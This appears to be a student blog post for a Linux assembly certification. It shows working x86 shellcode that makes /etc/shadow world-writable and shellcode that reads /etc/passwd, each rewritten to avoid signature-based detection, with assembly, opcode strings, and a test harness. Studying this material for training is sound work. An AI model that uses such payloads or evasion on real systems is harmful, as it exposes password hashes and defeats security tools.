Assignment
- Take up 3 shellcodes from Shell-‐Storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger 150% of the existing shellcode
- Bonus points for making it shorter in length than original
Introduction
Polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. In this case we will be manually making changes to the original shellcode in order to create a “polymorphic” version.
chmod 0777 /etc/shadow
http://shell-storm.org/shellcode/files/shellcode-875.php
Original Shellcode
/* ; Title: chmod 0777 /etc/shadow (a bit obfuscated) Shellcode - 51 Bytes ; Platform: linux/x86 ; Date: 2014-06-22 ; Author: Osanda Malith Jayathissa (@OsandaMalith) section .text global _start _start: mov ebx, eax xor eax, ebx push dword eax mov esi, 0x563a1f3e add esi, 0x21354523 mov dword [esp-4], esi mov dword [esp-8], 0x68732f2f mov dword [esp-12], 0x6374652f sub esp, 12 mov ebx,esp push word 0x1ff pop cx mov al,0xf int 0x80 */ #include <stdio.h> #include <string.h> unsigned char code[] = \ "\x89\xc3\x31\xd8\x50\xbe\x3e\x1f" "\x3a\x56\x81\xc6\x23\x45\x35\x21" "\x89\x74\x24\xfc\xc7\x44\x24\xf8" "\x2f\x2f\x73\x68\xc7\x44\x24\xf4" "\x2f\x65\x74\x63\x83\xec\x0c\x89" "\xe3\x66\x68\xff\x01\x66\x59\xb0" "\x0f\xcd\x80"; int main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); return 0; }
The code causes a segmentation fault but runs correctly changing the shadow files permissions:

Stepping through the code we find the segmentation fault is caused due to the shellcode not having a clean exit function and running on into other instructions once complete.

Working through the shellcode modifying code as we can we end up with the following assembly:
section .text global _start _start: mov eax,0x0 push dword eax push 0x776f6461 push 0x68732f2f push 0x6374652f mov ebx,esp push word 0x1ff pop cx mov al,0xf int 0x80
We link and compile as per previous examples and run our code to find it successfully modifies the file permissions:
suls@ubuntu:~/myslae/SLAE/Assignment-6$ ./compile.sh shellcode-875-polymorphic [+] Assembling with Nasm ... [+] Linking ... [+] Done! suls@ubuntu:~/myslae/SLAE/Assignment-6$ objdump -d ./shellcode-875-polymorphic |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xb8\x00\x00\x00\x00\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xff\x01\x66\x59\xb0\x0f\xcd\x80" suls@ubuntu:~/myslae/SLAE/Assignment-6$ nano shellcode-875-polymorphic.c suls@ubuntu:~/myslae/SLAE/Assignment-6$ gcc -fno-stack-protector -z execstack -o shellcode-875-polymorphic shellcode-875-polymorphic.c suls@ubuntu:~/myslae/SLAE/Assignment-6$ sudo ./shellcode-875-polymorphic Shellcode Length: 1 Segmentation fault (core dumped) suls@ubuntu:~/myslae/SLAE/Assignment-6$ ls -la /etc/shadow-rwxrwxrwx 1 root shadow 1181 Feb 22 2019 /etc/shadow

In this case we have reduced the original shellcode from 51 bytes down to 33 bytes however somewhat ironically we have effectively taken a slightly polymorphic chmod shellcode and morphed it back towards its original format.
Sys exit(0)
For our second shellcode we are looking at the sys exit shell code found here http://shell-storm.org/shellcode/files/shellcode-623.php. The original shellcode is as follows:
/* Name : 8 bytes sys_exit(0) x86 linux shellcode Date : may, 31 2010 Author : gunslinger_ Web : devilzc0de.com blog : gunslinger.devilzc0de.com tested on : linux debian */ char *bye= "\x31\xc0" /* xor %eax,%eax */ "\xb0\x01" /* mov $0x1,%al */ "\x31\xdb" /* xor %ebx,%ebx */ "\xcd\x80"; /* int $0x80 */ int main(void) { ((void (*)(void)) bye)(); return 0; }
The C code above did not run correctly on my Ubuntu version so I moved the shellcode into our standard harness and tested via GDB.

As the code is reasonably simple let see if we can modify it and make it any shorter. Final assembly code is included below:
section .text global _start _start: xor ebx,ebx mov eax,ebx inc eax int 0x80
In this case three of the four lines are modified and we have saved 1 byte from the original 8 byte shellcode. As before we link compile and test our code to ensure it runs correctly.

Tiny Read File Shellcode
For the final shellcode we are modifying the tiny read file shellcode http://shell-storm.org/shellcode/files/shellcode-842.php. This shellcode reads the /etc/passwd file. We compile and test the shellcode to ensure it works:

Then use GDB to disassemble the code:
gdb-peda$ disassemble Dump of assembler code for function code: => 0x0804a040 <+0>: xor ecx,ecx 0x0804a042 <+2>: mul ecx 0x0804a044 <+4>: mov al,0x5 0x0804a046 <+6>: push ecx 0x0804a047 <+7>: push 0x64777373 0x0804a04c <+12>: push 0x61702f63 0x0804a051 <+17>: push 0x74652f2f 0x0804a056 <+22>: mov ebx,esp 0x0804a058 <+24>: int 0x80 0x0804a05a <+26>: xchg ebx,eax 0x0804a05b <+27>: xchg ecx,eax 0x0804a05c <+28>: mov al,0x3 0x0804a05e <+30>: xor edx,edx 0x0804a060 <+32>: mov dx,0xfff 0x0804a064 <+36>: inc edx 0x0804a065 <+37>: int 0x80 0x0804a067 <+39>: xchg edx,eax 0x0804a068 <+40>: xor eax,eax 0x0804a06a <+42>: mov al,0x4 0x0804a06c <+44>: mov bl,0x1 0x0804a06e <+46>: int 0x80 0x0804a070 <+48>: xchg ebx,eax 0x0804a071 <+49>: int 0x80 0x0804a073 <+51>: add BYTE PTR [eax],al
Reviewing the code we can see four syscalls:
- sys open
- sys read
- sys close
- sys exit
Pattern matching for this shellcode is likely to signature the /etc/passwd string pushed to the stack so we will attempt to address this within our polymorphic version. Our initial attempt removes the suspect pushes to the stack of /etc/passwd and adds a clean exit function:
section .text global _start _start: xor ecx,ecx mul ecx mov al,0x5 push ecx ;push 0x64777373 mov esi, 0x53666262 add esi, 0x11111111 mov dword [esp-4], esi ;push 0x61702f63 mov esi, 0x505f1e52 add esi, 0x11111111 mov dword [esp-8], esi ;push 0x74652f2f mov esi, 0x63541e1e add esi, 0x11111111 mov dword [esp-12], esi sub esp, 0xc mov ebx,esp int 0x80 xchg ebx,eax xchg ecx,eax mov al,0x3 xor edx,edx mov dx,0xfff inc edx int 0x80 xchg edx,eax xor eax,eax mov al,0x4 mov bl,0x1 int 0x80 xchg ebx,eax xor ebx,ebx int 0x80
However comes out at 86 bytes which is over the 76 byte maximum (150% of original) permitted for the assignment.

We amend our addition logic to add 0x11 rather than 0x11111111 to save nine bytes whilst still altering the code which still leaves us two over. Wanting to leave our amendment in the second to last line in to do a clean exit we step through the code in GDB to identify other opportunities to save space. We identify this in the read syscall which has a “xor edx, edx” when edx is already set to zero:

We remove this instruction and recompile and test the code:

Which brings us in at 75 bytes, just under the 76.5 byte maximum. Final assembly code is included below:
section .text global _start _start: xor ecx,ecx mul ecx mov al,0x5 push ecx mov esi, 0x64777362 add esi, 0x11 mov dword [esp-4], esi mov esi, 0x61702f52 add esi, 0x11 mov dword [esp-8], esi mov esi, 0x74652f1e add esi, 0x11 mov dword [esp-12], esi sub esp, 0xc mov ebx,esp int 0x80 xchg ebx,eax xchg ecx,eax mov al,0x3 mov dx,0xfff inc edx int 0x80 xchg edx,eax xor eax,eax mov al,0x4 mov bl,0x1 int 0x80 xchg ebx,eax xor ebx,ebx int 0x80
This completes assignment six, source code is available on GitHub https://github.com/su1s/SLAE
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1436